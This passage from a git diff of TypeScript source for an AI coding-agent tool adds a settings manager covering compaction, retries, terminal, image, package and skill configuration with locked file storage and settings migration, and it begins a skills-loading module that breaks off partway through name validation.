DEFAULT_HTTP_IDLE_TIMEOUT_MS, parseHttpIdleTimeoutMs } from "./http-dispatcher.js"; + +export interface CompactionSettings { + enabled?: boolean; // default: true + reserveTokens?: number; // default: 16384 + keepRecentTokens?: number; // default: 20000 +} + +export interface BranchSummarySettings { + reserveTokens?: number; // default: 16384 (tokens reserved for prompt + LLM response) + skipPrompt?: boolean; // default: false - when true, skips "Summarize branch?" prompt and defaults to no summary +} + +export interface ProviderRetrySettings { + timeoutMs?: number; // SDK/provider request timeout in milliseconds + maxRetries?: number; // SDK/provider retry attempts + maxRetryDelayMs?: number; // default: 60000 (max server-requested delay before failing) +} + +export interface RetrySettings { + enabled?: boolean; // default: true + maxRetries?: number; // default: 3 + baseDelayMs?: number; // default: 2000 (exponential backoff: 2s, 4s, 8s) + provider?: ProviderRetrySettings; +} + +export interface TerminalSettings { + showImages?: boolean; // default: true (only relevant if terminal supports images) + imageWidthCells?: number; // default: 60 (preferred inline image width in terminal cells) + clearOnShrink?: boolean; // default: false (clear empty rows when content shrinks) + showTerminalProgress?: boolean; // default: false (OSC 9;4 terminal progress indicators) +} + +export interface ImageSettings { + autoResize?: boolean; // default: true (resize images to 2000x2000 max for better model compatibility) + blockImages?: boolean; // default: false - when true, prevents all images from being sent to LLM providers +} + +export interface ThinkingBudgetsSettings { + minimal?: number; + low?: number; + medium?: number; + high?: number; +} + +export interface MarkdownSettings { + codeBlockIndent?: string; // default: " " +} + +export interface WarningSettings { + anthropicExtraUsage?: boolean; // default: true +} + +export type TransportSetting = Transport; + +/** + * Package source for npm/git packages. + * - String form: load all resources from the package + * - Object form: filter which resources to load + */ +export type PackageSource = + | string + | { + source: string; + extensions?: string[]; + skills?: string[]; + prompts?: string[]; + themes?: string[]; + }; + +export interface Settings { + lastChangelogVersion?: string; + defaultProvider?: string; + defaultModel?: string; + defaultThinkingLevel?: "off" | "minimal" | "low" | "medium" | "high" | "xhigh"; + transport?: TransportSetting; // default: "auto" + steeringMode?: "all" | "one-at-a-time"; + followUpMode?: "all" | "one-at-a-time"; + theme?: string; + compaction?: CompactionSettings; + branchSummary?: BranchSummarySettings; + retry?: RetrySettings; + hideThinkingBlock?: boolean; + shellPath?: string; // Custom shell path (e.g., for Cygwin users on Windows) + quietStartup?: boolean; + shellCommandPrefix?: string; // Prefix prepended to every bash command (e.g., "shopt -s expand_aliases" for alias support) + npmCommand?: string[]; // Command used for npm package lookup/install operations, argv-style (e.g., ["mise", "exec", "node@20", "--", "npm"]) + collapseChangelog?: boolean; // Show condensed changelog after update (use /changelog for full) + enableInstallTelemetry?: boolean; // default: true - anonymous version/update ping after changelog-detected updates + packages?: PackageSource[]; // Array of npm/git package sources (string or object with filtering) + extensions?: string[]; // Array of local extension file paths or directories + skills?: string[]; // Array of local skill file paths or directories + prompts?: string[]; // Array of local prompt template paths or directories + themes?: string[]; // Array of local theme file paths or directories + enableSkillCommands?: boolean; // default: true - register skills as /skill:name commands + terminal?: TerminalSettings; + images?: ImageSettings; + enabledModels?: string[]; // Model patterns for cycling (same format as --models CLI flag) + doubleEscapeAction?: "fork" | "tree" | "none"; // Action for double-escape with empty editor (default: "tree") + treeFilterMode?: "default" | "no-tools" | "user-only" | "labeled-only" | "all"; // Default filter when opening /tree + thinkingBudgets?: ThinkingBudgetsSettings; // Custom token budgets for thinking levels + editorPaddingX?: number; // Horizontal padding for input editor (default: 0) + autocompleteMaxVisible?: number; // Max visible items in autocomplete dropdown (default: 5) + showHardwareCursor?: boolean; // Show terminal cursor while still positioning it for IME + markdown?: MarkdownSettings; + warnings?: WarningSettings; + sessionDir?: string; // Custom session storage directory (same format as --session-dir CLI flag) + httpIdleTimeoutMs?: number; // HTTP header/body idle timeout in milliseconds; 0 disables it +} + +/** Deep merge settings: project/overrides take precedence, nested objects merge recursively */ +function deepMergeSettings(base: Settings, overrides: Settings): Settings { + const result: Settings = { ...base }; + + for (const key of Object.keys(overrides) as (keyof Settings)[]) { + const overrideValue = overrides[key]; + const baseValue = base[key]; + + if (overrideValue === undefined) { + continue; + } + + // For nested objects, merge recursively + if ( + typeof overrideValue === "object" && + overrideValue !== null && + !Array.isArray(overrideValue) && + typeof baseValue === "object" && + baseValue !== null && + !Array.isArray(baseValue) + ) { + (result as Record)[key] = { ...baseValue, ...overrideValue }; + } else { + // For primitives and arrays, override value wins + (result as Record)[key] = overrideValue; + } + } + + return result; +} + +export type SettingsScope = "global" | "project"; + +export interface SettingsStorage { + withLock(scope: SettingsScope, fn: (current: string | undefined) => string | undefined): void; +} + +export interface SettingsError { + scope: SettingsScope; + error: Error; +} + +export class FileSettingsStorage implements SettingsStorage { + private globalSettingsPath: string; + private projectSettingsPath: string; + + constructor(cwd: string, agentDir: string) { + this.globalSettingsPath = join(agentDir, "settings.json"); + this.projectSettingsPath = join(cwd, CONFIG_DIR_NAME, "settings.json"); + } + + private acquireLockSyncWithRetry(path: string): () => void { + const maxAttempts = 10; + const delayMs = 20; + let lastError: unknown; + + for (let attempt = 1; attempt <= maxAttempts; attempt++) { + try { + return lockfile.lockSync(path, { realpath: false }); + } catch (error) { + const code = + typeof error === "object" && error !== null && "code" in error + ? String((error as { code?: unknown }).code) + : undefined; + if (code !== "ELOCKED" || attempt === maxAttempts) { + throw error; + } + lastError = error; + const start = Date.now(); + while (Date.now() - start < delayMs) { + // Sleep synchronously to avoid changing callers to async. + } + } + } + + throw (lastError as Error) ?? new Error("Failed to acquire settings lock"); + } + + withLock(scope: SettingsScope, fn: (current: string | undefined) => string | undefined): void { + const path = scope === "global" ? this.globalSettingsPath : this.projectSettingsPath; + const dir = dirname(path); + + let release: (() => void) | undefined; + try { + // Only create directory and lock if file exists or we need to write + const fileExists = existsSync(path); + if (fileExists) { + release = this.acquireLockSyncWithRetry(path); + } + const current = fileExists ? readFileSync(path, "utf-8") : undefined; + const next = fn(current); + if (next !== undefined) { + // Only create directory when we actually need to write + if (!existsSync(dir)) { + mkdirSync(dir, { recursive: true }); + } + if (!release) { + release = this.acquireLockSyncWithRetry(path); + } + writeFileSync(path, next, "utf-8"); + } + } finally { + if (release) { + release(); + } + } + } +} + +export class InMemorySettingsStorage implements SettingsStorage { + private global: string | undefined; + private project: string | undefined; + + withLock(scope: SettingsScope, fn: (current: string | undefined) => string | undefined): void { + const current = scope === "global" ? this.global : this.project; + const next = fn(current); + if (next !== undefined) { + if (scope === "global") { + this.global = next; + } else { + this.project = next; + } + } + } +} + +export class SettingsManager { + private storage: SettingsStorage; + private globalSettings: Settings; + private projectSettings: Settings; + private settings: Settings; + private modifiedFields = new Set(); // Track global fields modified during session + private modifiedNestedFields = new Map>(); // Track global nested field modifications + private modifiedProjectFields = new Set(); // Track project fields modified during session + private modifiedProjectNestedFields = new Map>(); // Track project nested field modifications + private globalSettingsLoadError: Error | null = null; // Track if global settings file had parse errors + private projectSettingsLoadError: Error | null = null; // Track if project settings file had parse errors + private writeQueue: Promise = Promise.resolve(); + private errors: SettingsError[]; + + private constructor( + storage: SettingsStorage, + initialGlobal: Settings, + initialProject: Settings, + globalLoadError: Error | null = null, + projectLoadError: Error | null = null, + initialErrors: SettingsError[] = [], + ) { + this.storage = storage; + this.globalSettings = initialGlobal; + this.projectSettings = initialProject; + this.globalSettingsLoadError = globalLoadError; + this.projectSettingsLoadError = projectLoadError; + this.errors = [...initialErrors]; + this.settings = deepMergeSettings(this.globalSettings, this.projectSettings); + } + + /** Create a SettingsManager that loads from files */ + static create(cwd: string, agentDir: string = getAgentDir()): SettingsManager { + const storage = new FileSettingsStorage(cwd, agentDir); + return SettingsManager.fromStorage(storage); + } + + /** Create a SettingsManager from an arbitrary storage backend */ + static fromStorage(storage: SettingsStorage): SettingsManager { + const globalLoad = SettingsManager.tryLoadFromStorage(storage, "global"); + const projectLoad = SettingsManager.tryLoadFromStorage(storage, "project"); + const initialErrors: SettingsError[] = []; + if (globalLoad.error) { + initialErrors.push({ scope: "global", error: globalLoad.error }); + } + if (projectLoad.error) { + initialErrors.push({ scope: "project", error: projectLoad.error }); + } + + return new SettingsManager( + storage, + globalLoad.settings, + projectLoad.settings, + globalLoad.error, + projectLoad.error, + initialErrors, + ); + } + + /** Create an in-memory SettingsManager (no file I/O) */ + static inMemory(settings: Partial = {}): SettingsManager { + const storage = new InMemorySettingsStorage(); + const initialSettings = SettingsManager.migrateSettings( + structuredClone(settings) as Record, + ); + storage.withLock("global", () => JSON.stringify(initialSettings, null, 2)); + return SettingsManager.fromStorage(storage); + } + + private static loadFromStorage(storage: SettingsStorage, scope: SettingsScope): Settings { + let content: string | undefined; + storage.withLock(scope, (current) => { + content = current; + return undefined; + }); + + if (!content) { + return {}; + } + const settings = JSON.parse(content); + return SettingsManager.migrateSettings(settings); + } + + private static tryLoadFromStorage( + storage: SettingsStorage, + scope: SettingsScope, + ): { settings: Settings; error: Error | null } { + try { + return { settings: SettingsManager.loadFromStorage(storage, scope), error: null }; + } catch (error) { + return { settings: {}, error: error as Error }; + } + } + + /** Migrate old settings format to new format */ + private static migrateSettings(settings: Record): Settings { + // Migrate queueMode -> steeringMode + if ("queueMode" in settings && !("steeringMode" in settings)) { + settings.steeringMode = settings.queueMode; + delete settings.queueMode; + } + + // Migrate legacy websockets boolean -> transport enum + if (!("transport" in settings) && typeof settings.websockets === "boolean") { + settings.transport = settings.websockets ? "websocket" : "sse"; + delete settings.websockets; + } + + // Migrate old skills object format to new array format + if ( + "skills" in settings && + typeof settings.skills === "object" && + settings.skills !== null && + !Array.isArray(settings.skills) + ) { + const skillsSettings = settings.skills as { + enableSkillCommands?: boolean; + customDirectories?: unknown; + }; + if ( + skillsSettings.enableSkillCommands !== undefined && + settings.enableSkillCommands === undefined + ) { + settings.enableSkillCommands = skillsSettings.enableSkillCommands; + } + if ( + Array.isArray(skillsSettings.customDirectories) && + skillsSettings.customDirectories.length > 0 + ) { + settings.skills = skillsSettings.customDirectories; + } else { + delete settings.skills; + } + } + + // Migrate retry.maxDelayMs -> retry.provider.maxRetryDelayMs + if ( + "retry" in settings && + typeof settings.retry === "object" && + settings.retry !== null && + !Array.isArray(settings.retry) + ) { + const retrySettings = settings.retry as Record; + const providerSettings = + typeof retrySettings.provider === "object" && retrySettings.provider !== null + ? (retrySettings.provider as Record) + : undefined; + if ( + typeof retrySettings.maxDelayMs === "number" && + (providerSettings?.maxRetryDelayMs === undefined || + providerSettings?.maxRetryDelayMs === null) + ) { + retrySettings.provider = { + ...providerSettings, + maxRetryDelayMs: retrySettings.maxDelayMs, + }; + } + delete retrySettings.maxDelayMs; + } + + return settings as Settings; + } + + getGlobalSettings(): Settings { + return structuredClone(this.globalSettings); + } + + getProjectSettings(): Settings { + return structuredClone(this.projectSettings); + } + + async reload(): Promise { + await this.writeQueue; + const globalLoad = SettingsManager.tryLoadFromStorage(this.storage, "global"); + if (!globalLoad.error) { + this.globalSettings = globalLoad.settings; + this.globalSettingsLoadError = null; + } else { + this.globalSettingsLoadError = globalLoad.error; + this.recordError("global", globalLoad.error); + } + + this.modifiedFields.clear(); + this.modifiedNestedFields.clear(); + this.modifiedProjectFields.clear(); + this.modifiedProjectNestedFields.clear(); + + const projectLoad = SettingsManager.tryLoadFromStorage(this.storage, "project"); + if (!projectLoad.error) { + this.projectSettings = projectLoad.settings; + this.projectSettingsLoadError = null; + } else { + this.projectSettingsLoadError = projectLoad.error; + this.recordError("project", projectLoad.error); + } + + this.settings = deepMergeSettings(this.globalSettings, this.projectSettings); + } + + /** Apply additional overrides on top of current settings */ + applyOverrides(overrides: Partial): void { + this.settings = deepMergeSettings(this.settings, overrides); + } + + /** Mark a global field as modified during this session */ + private markModified(field: keyof Settings, nestedKey?: string): void { + this.modifiedFields.add(field); + if (nestedKey) { + if (!this.modifiedNestedFields.has(field)) { + this.modifiedNestedFields.set(field, new Set()); + } + this.modifiedNestedFields.get(field)!.add(nestedKey); + } + } + + /** Mark a project field as modified during this session */ + private markProjectModified(field: keyof Settings, nestedKey?: string): void { + this.modifiedProjectFields.add(field); + if (nestedKey) { + if (!this.modifiedProjectNestedFields.has(field)) { + this.modifiedProjectNestedFields.set(field, new Set()); + } + this.modifiedProjectNestedFields.get(field)!.add(nestedKey); + } + } + + private recordError(scope: SettingsScope, error: unknown): void { + const normalizedError = error instanceof Error ? error : new Error(String(error)); + this.errors.push({ scope, error: normalizedError }); + } + + private clearModifiedScope(scope: SettingsScope): void { + if (scope === "global") { + this.modifiedFields.clear(); + this.modifiedNestedFields.clear(); + return; + } + + this.modifiedProjectFields.clear(); + this.modifiedProjectNestedFields.clear(); + } + + private enqueueWrite(scope: SettingsScope, task: () => void): void { + this.writeQueue = this.writeQueue + .then(() => { + task(); + this.clearModifiedScope(scope); + }) + .catch((error) => { + this.recordError(scope, error); + }); + } + + private cloneModifiedNestedFields( + source: Map>, + ): Map> { + const snapshot = new Map>(); + for (const [key, value] of source.entries()) { + snapshot.set(key, new Set(value)); + } + return snapshot; + } + + private persistScopedSettings( + scope: SettingsScope, + snapshotSettings: Settings, + modifiedFields: Set, + modifiedNestedFields: Map>, + ): void { + this.storage.withLock(scope, (current) => { + const currentFileSettings = current + ? SettingsManager.migrateSettings(JSON.parse(current) as Record) + : {}; + const mergedSettings: Settings = { ...currentFileSettings }; + for (const field of modifiedFields) { + const value = snapshotSettings[field]; + if (modifiedNestedFields.has(field) && typeof value === "object" && value !== null) { + const nestedModified = modifiedNestedFields.get(field)!; + const baseNested = (currentFileSettings[field] as Record) ?? {}; + const inMemoryNested = value as Record; + const mergedNested = { ...baseNested }; + for (const nestedKey of nestedModified) { + mergedNested[nestedKey] = inMemoryNested[nestedKey]; + } + (mergedSettings as Record)[field] = mergedNested; + } else { + (mergedSettings as Record)[field] = value; + } + } + + return JSON.stringify(mergedSettings, null, 2); + }); + } + + private save(): void { + this.settings = deepMergeSettings(this.globalSettings, this.projectSettings); + + if (this.globalSettingsLoadError) { + return; + } + + const snapshotGlobalSettings = structuredClone(this.globalSettings); + const modifiedFields = new Set(this.modifiedFields); + const modifiedNestedFields = this.cloneModifiedNestedFields(this.modifiedNestedFields); + + this.enqueueWrite("global", () => { + this.persistScopedSettings( + "global", + snapshotGlobalSettings, + modifiedFields, + modifiedNestedFields, + ); + }); + } + + private saveProjectSettings(settings: Settings): void { + this.projectSettings = structuredClone(settings); + this.settings = deepMergeSettings(this.globalSettings, this.projectSettings); + + if (this.projectSettingsLoadError) { + return; + } + + const snapshotProjectSettings = structuredClone(this.projectSettings); + const modifiedFields = new Set(this.modifiedProjectFields); + const modifiedNestedFields = this.cloneModifiedNestedFields(this.modifiedProjectNestedFields); + this.enqueueWrite("project", () => { + this.persistScopedSettings( + "project", + snapshotProjectSettings, + modifiedFields, + modifiedNestedFields, + ); + }); + } + + async flush(): Promise { + await this.writeQueue; + } + + drainErrors(): SettingsError[] { + const drained = [...this.errors]; + this.errors = []; + return drained; + } + + getLastChangelogVersion(): string | undefined { + return this.settings.lastChangelogVersion; + } + + setLastChangelogVersion(version: string): void { + this.globalSettings.lastChangelogVersion = version; + this.markModified("lastChangelogVersion"); + this.save(); + } + + getSessionDir(): string | undefined { + const sessionDir = this.settings.sessionDir; + if (!sessionDir) { + return sessionDir; + } + if (sessionDir === "~") { + return homedir(); + } + if (sessionDir.startsWith("~/")) { + return join(homedir(), sessionDir.slice(2)); + } + return sessionDir; + } + + getDefaultProvider(): string | undefined { + return this.settings.defaultProvider; + } + + getDefaultModel(): string | undefined { + return this.settings.defaultModel; + } + + setDefaultProvider(provider: string): void { + this.globalSettings.defaultProvider = provider; + this.markModified("defaultProvider"); + this.save(); + } + + setDefaultModel(modelId: string): void { + this.globalSettings.defaultModel = modelId; + this.markModified("defaultModel"); + this.save(); + } + + setDefaultModelAndProvider(provider: string, modelId: string): void { + this.globalSettings.defaultProvider = provider; + this.globalSettings.defaultModel = modelId; + this.markModified("defaultProvider"); + this.markModified("defaultModel"); + this.save(); + } + + getSteeringMode(): "all" | "one-at-a-time" { + return this.settings.steeringMode || "one-at-a-time"; + } + + setSteeringMode(mode: "all" | "one-at-a-time"): void { + this.globalSettings.steeringMode = mode; + this.markModified("steeringMode"); + this.save(); + } + + getFollowUpMode(): "all" | "one-at-a-time" { + return this.settings.followUpMode || "one-at-a-time"; + } + + setFollowUpMode(mode: "all" | "one-at-a-time"): void { + this.globalSettings.followUpMode = mode; + this.markModified("followUpMode"); + this.save(); + } + + getTheme(): string | undefined { + return this.settings.theme; + } + + setTheme(theme: string): void { + this.globalSettings.theme = theme; + this.markModified("theme"); + this.save(); + } + + getDefaultThinkingLevel(): "off" | "minimal" | "low" | "medium" | "high" | "xhigh" | undefined { + return this.settings.defaultThinkingLevel; + } + + setDefaultThinkingLevel(level: "off" | "minimal" | "low" | "medium" | "high" | "xhigh"): void { + this.globalSettings.defaultThinkingLevel = level; + this.markModified("defaultThinkingLevel"); + this.save(); + } + + getTransport(): TransportSetting { + return this.settings.transport ?? "auto"; + } + + setTransport(transport: TransportSetting): void { + this.globalSettings.transport = transport; + this.markModified("transport"); + this.save(); + } + + getCompactionEnabled(): boolean { + return this.settings.compaction?.enabled ?? true; + } + + setCompactionEnabled(enabled: boolean): void { + if (!this.globalSettings.compaction) { + this.globalSettings.compaction = {}; + } + this.globalSettings.compaction.enabled = enabled; + this.markModified("compaction", "enabled"); + this.save(); + } + + getCompactionReserveTokens(): number { + return this.settings.compaction?.reserveTokens ?? 16384; + } + + getCompactionKeepRecentTokens(): number { + return this.settings.compaction?.keepRecentTokens ?? 20000; + } + + getCompactionSettings(): { enabled: boolean; reserveTokens: number; keepRecentTokens: number } { + return { + enabled: this.getCompactionEnabled(), + reserveTokens: this.getCompactionReserveTokens(), + keepRecentTokens: this.getCompactionKeepRecentTokens(), + }; + } + + getBranchSummarySettings(): { reserveTokens: number; skipPrompt: boolean } { + return { + reserveTokens: this.settings.branchSummary?.reserveTokens ?? 16384, + skipPrompt: this.settings.branchSummary?.skipPrompt ?? false, + }; + } + + getBranchSummarySkipPrompt(): boolean { + return this.settings.branchSummary?.skipPrompt ?? false; + } + + getRetryEnabled(): boolean { + return this.settings.retry?.enabled ?? true; + } + + setRetryEnabled(enabled: boolean): void { + if (!this.globalSettings.retry) { + this.globalSettings.retry = {}; + } + this.globalSettings.retry.enabled = enabled; + this.markModified("retry", "enabled"); + this.save(); + } + + getRetrySettings(): { enabled: boolean; maxRetries: number; baseDelayMs: number } { + return { + enabled: this.getRetryEnabled(), + maxRetries: this.settings.retry?.maxRetries ?? 3, + baseDelayMs: this.settings.retry?.baseDelayMs ?? 2000, + }; + } + + getHttpIdleTimeoutMs(): number { + const value = this.settings.httpIdleTimeoutMs; + const timeoutMs = parseHttpIdleTimeoutMs(value); + if (timeoutMs !== undefined) { + return timeoutMs; + } + if (value !== undefined) { + throw new Error(`Invalid httpIdleTimeoutMs setting: ${String(value)}`); + } + return DEFAULT_HTTP_IDLE_TIMEOUT_MS; + } + + setHttpIdleTimeoutMs(timeoutMs: number): void { + if (!Number.isFinite(timeoutMs) || timeoutMs < 0) { + throw new Error(`Invalid httpIdleTimeoutMs setting: ${String(timeoutMs)}`); + } + this.globalSettings.httpIdleTimeoutMs = Math.floor(timeoutMs); + this.markModified("httpIdleTimeoutMs"); + this.save(); + } + + getProviderRetrySettings(): { timeoutMs?: number; maxRetries?: number; maxRetryDelayMs: number } { + return { + timeoutMs: this.settings.retry?.provider?.timeoutMs, + maxRetries: this.settings.retry?.provider?.maxRetries, + maxRetryDelayMs: this.settings.retry?.provider?.maxRetryDelayMs ?? 60000, + }; + } + + getHideThinkingBlock(): boolean { + return this.settings.hideThinkingBlock ?? false; + } + + setHideThinkingBlock(hide: boolean): void { + this.globalSettings.hideThinkingBlock = hide; + this.markModified("hideThinkingBlock"); + this.save(); + } + + getShellPath(): string | undefined { + return this.settings.shellPath; + } + + setShellPath(path: string | undefined): void { + this.globalSettings.shellPath = path; + this.markModified("shellPath"); + this.save(); + } + + getQuietStartup(): boolean { + return this.settings.quietStartup ?? false; + } + + setQuietStartup(quiet: boolean): void { + this.globalSettings.quietStartup = quiet; + this.markModified("quietStartup"); + this.save(); + } + + getShellCommandPrefix(): string | undefined { + return this.settings.shellCommandPrefix; + } + + setShellCommandPrefix(prefix: string | undefined): void { + this.globalSettings.shellCommandPrefix = prefix; + this.markModified("shellCommandPrefix"); + this.save(); + } + + getNpmCommand(): string[] | undefined { + return this.settings.npmCommand ? [...this.settings.npmCommand] : undefined; + } + + setNpmCommand(command: string[] | undefined): void { + this.globalSettings.npmCommand = command ? [...command] : undefined; + this.markModified("npmCommand"); + this.save(); + } + + getCollapseChangelog(): boolean { + return this.settings.collapseChangelog ?? false; + } + + setCollapseChangelog(collapse: boolean): void { + this.globalSettings.collapseChangelog = collapse; + this.markModified("collapseChangelog"); + this.save(); + } + + getEnableInstallTelemetry(): boolean { + return this.settings.enableInstallTelemetry ?? true; + } + + setEnableInstallTelemetry(enabled: boolean): void { + this.globalSettings.enableInstallTelemetry = enabled; + this.markModified("enableInstallTelemetry"); + this.save(); + } + + getPackages(): PackageSource[] { + return [...(this.settings.packages ?? [])]; + } + + setPackages(packages: PackageSource[]): void { + this.globalSettings.packages = packages; + this.markModified("packages"); + this.save(); + } + + setProjectPackages(packages: PackageSource[]): void { + const projectSettings = structuredClone(this.projectSettings); + projectSettings.packages = packages; + this.markProjectModified("packages"); + this.saveProjectSettings(projectSettings); + } + + getExtensionPaths(): string[] { + return [...(this.settings.extensions ?? [])]; + } + + setExtensionPaths(paths: string[]): void { + this.globalSettings.extensions = paths; + this.markModified("extensions"); + this.save(); + } + + setProjectExtensionPaths(paths: string[]): void { + const projectSettings = structuredClone(this.projectSettings); + projectSettings.extensions = paths; + this.markProjectModified("extensions"); + this.saveProjectSettings(projectSettings); + } + + getSkillPaths(): string[] { + return [...(this.settings.skills ?? [])]; + } + + setSkillPaths(paths: string[]): void { + this.globalSettings.skills = paths; + this.markModified("skills"); + this.save(); + } + + setProjectSkillPaths(paths: string[]): void { + const projectSettings = structuredClone(this.projectSettings); + projectSettings.skills = paths; + this.markProjectModified("skills"); + this.saveProjectSettings(projectSettings); + } + + getPromptTemplatePaths(): string[] { + return [...(this.settings.prompts ?? [])]; + } + + setPromptTemplatePaths(paths: string[]): void { + this.globalSettings.prompts = paths; + this.markModified("prompts"); + this.save(); + } + + setProjectPromptTemplatePaths(paths: string[]): void { + const projectSettings = structuredClone(this.projectSettings); + projectSettings.prompts = paths; + this.markProjectModified("prompts"); + this.saveProjectSettings(projectSettings); + } + + getThemePaths(): string[] { + return [...(this.settings.themes ?? [])]; + } + + setThemePaths(paths: string[]): void { + this.globalSettings.themes = paths; + this.markModified("themes"); + this.save(); + } + + setProjectThemePaths(paths: string[]): void { + const projectSettings = structuredClone(this.projectSettings); + projectSettings.themes = paths; + this.markProjectModified("themes"); + this.saveProjectSettings(projectSettings); + } + + getEnableSkillCommands(): boolean { + return this.settings.enableSkillCommands ?? true; + } + + setEnableSkillCommands(enabled: boolean): void { + this.globalSettings.enableSkillCommands = enabled; + this.markModified("enableSkillCommands"); + this.save(); + } + + getThinkingBudgets(): ThinkingBudgetsSettings | undefined { + return this.settings.thinkingBudgets; + } + + getShowImages(): boolean { + return this.settings.terminal?.showImages ?? true; + } + + setShowImages(show: boolean): void { + if (!this.globalSettings.terminal) { + this.globalSettings.terminal = {}; + } + this.globalSettings.terminal.showImages = show; + this.markModified("terminal", "showImages"); + this.save(); + } + + getImageWidthCells(): number { + const width = this.settings.terminal?.imageWidthCells; + if (typeof width !== "number" || !Number.isFinite(width)) { + return 60; + } + return Math.max(1, Math.floor(width)); + } + + setImageWidthCells(width: number): void { + if (!this.globalSettings.terminal) { + this.globalSettings.terminal = {}; + } + this.globalSettings.terminal.imageWidthCells = Math.max(1, Math.floor(width)); + this.markModified("terminal", "imageWidthCells"); + this.save(); + } + + getClearOnShrink(): boolean { + // Settings takes precedence, then env var, then default false + if (this.settings.terminal?.clearOnShrink !== undefined) { + return this.settings.terminal.clearOnShrink; + } + return process.env.OPENCLAW_CLEAR_ON_SHRINK === "1"; + } + + setClearOnShrink(enabled: boolean): void { + if (!this.globalSettings.terminal) { + this.globalSettings.terminal = {}; + } + this.globalSettings.terminal.clearOnShrink = enabled; + this.markModified("terminal", "clearOnShrink"); + this.save(); + } + + getShowTerminalProgress(): boolean { + return this.settings.terminal?.showTerminalProgress ?? false; + } + + setShowTerminalProgress(enabled: boolean): void { + if (!this.globalSettings.terminal) { + this.globalSettings.terminal = {}; + } + this.globalSettings.terminal.showTerminalProgress = enabled; + this.markModified("terminal", "showTerminalProgress"); + this.save(); + } + + getImageAutoResize(): boolean { + return this.settings.images?.autoResize ?? true; + } + + setImageAutoResize(enabled: boolean): void { + if (!this.globalSettings.images) { + this.globalSettings.images = {}; + } + this.globalSettings.images.autoResize = enabled; + this.markModified("images", "autoResize"); + this.save(); + } + + getBlockImages(): boolean { + return this.settings.images?.blockImages ?? false; + } + + setBlockImages(blocked: boolean): void { + if (!this.globalSettings.images) { + this.globalSettings.images = {}; + } + this.globalSettings.images.blockImages = blocked; + this.markModified("images", "blockImages"); + this.save(); + } + + getEnabledModels(): string[] | undefined { + return this.settings.enabledModels; + } + + setEnabledModels(patterns: string[] | undefined): void { + this.globalSettings.enabledModels = patterns; + this.markModified("enabledModels"); + this.save(); + } + + getDoubleEscapeAction(): "fork" | "tree" | "none" { + return this.settings.doubleEscapeAction ?? "tree"; + } + + setDoubleEscapeAction(action: "fork" | "tree" | "none"): void { + this.globalSettings.doubleEscapeAction = action; + this.markModified("doubleEscapeAction"); + this.save(); + } + + getTreeFilterMode(): "default" | "no-tools" | "user-only" | "labeled-only" | "all" { + const mode = this.settings.treeFilterMode; + const valid = ["default", "no-tools", "user-only", "labeled-only", "all"]; + return mode && valid.includes(mode) ? mode : "default"; + } + + setTreeFilterMode(mode: "default" | "no-tools" | "user-only" | "labeled-only" | "all"): void { + this.globalSettings.treeFilterMode = mode; + this.markModified("treeFilterMode"); + this.save(); + } + + getShowHardwareCursor(): boolean { + return this.settings.showHardwareCursor ?? process.env.OPENCLAW_HARDWARE_CURSOR === "1"; + } + + setShowHardwareCursor(enabled: boolean): void { + this.globalSettings.showHardwareCursor = enabled; + this.markModified("showHardwareCursor"); + this.save(); + } + + getEditorPaddingX(): number { + return this.settings.editorPaddingX ?? 0; + } + + setEditorPaddingX(padding: number): void { + this.globalSettings.editorPaddingX = Math.max(0, Math.min(3, Math.floor(padding))); + this.markModified("editorPaddingX"); + this.save(); + } + + getAutocompleteMaxVisible(): number { + return this.settings.autocompleteMaxVisible ?? 5; + } + + setAutocompleteMaxVisible(maxVisible: number): void { + this.globalSettings.autocompleteMaxVisible = Math.max(3, Math.min(20, Math.floor(maxVisible))); + this.markModified("autocompleteMaxVisible"); + this.save(); + } + + getCodeBlockIndent(): string { + return this.settings.markdown?.codeBlockIndent ?? " "; + } + + getWarnings(): WarningSettings { + return { ...this.settings.warnings }; + } + + setWarnings(warnings: WarningSettings): void { + this.globalSettings.warnings = { ...warnings }; + this.markModified("warnings"); + this.save(); + } +} diff --git a/src/agents/sessions/skills.ts b/src/agents/sessions/skills.ts new file mode 100644 index 00000000000..b36781482f9 --- /dev/null +++ b/src/agents/sessions/skills.ts @@ -0,0 +1,526 @@ +import { existsSync, readdirSync, readFileSync, statSync } from "node:fs"; +import { homedir } from "node:os"; +import { basename, dirname, isAbsolute, join, relative, resolve, sep } from "node:path"; +import ignore from "ignore"; +import { CONFIG_DIR_NAME, getAgentDir } from "../config.js"; +import { parseFrontmatter } from "../utils/frontmatter.js"; +import { canonicalizePath } from "../utils/paths.js"; +import type { ResourceDiagnostic } from "./diagnostics.js"; +import { createSyntheticSourceInfo, type SourceInfo } from "./source-info.js"; + +/** Max name length per spec */ +const MAX_NAME_LENGTH = 64; + +/** Max description length per spec */ +const MAX_DESCRIPTION_LENGTH = 1024; + +const IGNORE_FILE_NAMES = [".gitignore", ".ignore", ".fdignore"]; + +type IgnoreMatcher = ReturnType; + +function toPosixPath(p: string): string { + return p.split(sep).join("/"); +} + +function prefixIgnorePattern(line: string, prefix: string): string | null { + const trimmed = line.trim(); + if (!trimmed) { + return null; + } + if (trimmed.startsWith("#") && !trimmed.startsWith("\\#")) { + return null; + } + + let pattern = line; + let negated = false; + + if (pattern.startsWith("!")) { + negated = true; + pattern = pattern.slice(1); + } else if (pattern.startsWith("\\!")) { + pattern = pattern.slice(1); + } + + if (pattern.startsWith("/")) { + pattern = pattern.slice(1); + } + + const prefixed = prefix ? `${prefix}${pattern}` : pattern; + return negated ? `!${prefixed}` : prefixed; +} + +function addIgnoreRules(ig: IgnoreMatcher, dir: string, rootDir: string): void { + const relativeDir = relative(rootDir, dir); + const prefix = relativeDir ? `${toPosixPath(relativeDir)}/` : ""; + + for (const filename of IGNORE_FILE_NAMES) { + const ignorePath = join(dir, filename); + if (!existsSync(ignorePath)) { + continue; + } + try { + const content = readFileSync(ignorePath, "utf-8"); + const patterns = content + .split(/\r?\n/) + .map((line) => prefixIgnorePattern(line, prefix)) + .filter((line): line is string => Boolean(line)); + if (patterns.length > 0) { + ig.add(patterns); + } + } catch {} + } +} + +export interface SkillFrontmatter { + name?: string; + description?: string; + "disable-model-invocation"?: boolean; + [key: string]: unknown; +} + +export interface Skill { + name: string; + description: string; + filePath: string; + baseDir: string; + source: string; + sourceInfo: SourceInfo; + disableModelInvocation: boolean; +} + +export interface LoadSkillsResult { + skills: Skill[]; + diagnostics: ResourceDiagnostic[]; +} + +/** + * Validate skill name per Agent Skills spec. + * Returns array of validation error messages (empty if valid). + */ +function validateName(name: string): string[] { + const errors: string[] = []; + + if (name.length > MAX_NAME_LENGTH) { + errors.push(`name exceeds 